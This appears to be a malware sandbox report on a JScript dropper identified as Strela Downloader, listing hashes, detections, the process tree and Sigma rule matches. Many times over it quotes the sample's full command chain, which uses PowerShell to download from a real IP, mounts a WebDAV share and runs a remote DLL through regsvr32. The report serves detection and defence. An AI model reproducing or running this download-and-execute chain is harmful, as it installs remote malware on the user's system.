Edit tour

Windows Analysis Report
904223203151262489.js

Overview

General Information

Sample name:	904223203151262489.js
Analysis ID:	1589078
MD5:	95fb2dcde2f44f4a444cc236ee56da9f
SHA1:	fd63734a8fd864260449cea9288394931a39df75
SHA256:	6e28a777c56774c7e7acd87ce82bb34a634ad6cbd09c607d64fc5559690a34ac
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7396 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1472 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6168 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1636 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 892 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7636 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1708,i,5260200207789614358,16352158199973561446,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2968 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 736 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5920 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7396	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6168, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6168, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", ProcessId: 7396, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 1472, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", ProcessId: 7396, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1472, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6168, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2968, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 736, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5920, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2968, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 736, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\904223203151262489.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll, ProcessId: 1472, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 904223203151262489.js	Virustotal: Detection: 22%			Perma Link
Source: 904223203151262489.js	ReversingLabs: Detection: 18%

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 904223203151262489.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 904223203151262489.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1302646964.00000228FBC6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1366636784.000001FFD2774000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1366898745.000001FFD2790000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1357386983.000001FFD278E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1366574827.000001FFD2738000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1365678646.000001FFD2774000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1366636784.000001FFD2774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/$
Source: net.exe, 00000007.00000003.1365678646.000001FFD2774000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1366636784.000001FFD2774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/(
Source: net.exe, 00000007.00000002.1366574827.000001FFD2738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2601215309.0000018A9D600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1361007613.0000018A9D810000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7396, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\215721317627661.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 904223203151262489.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1412:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_frapi0wy.nua.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

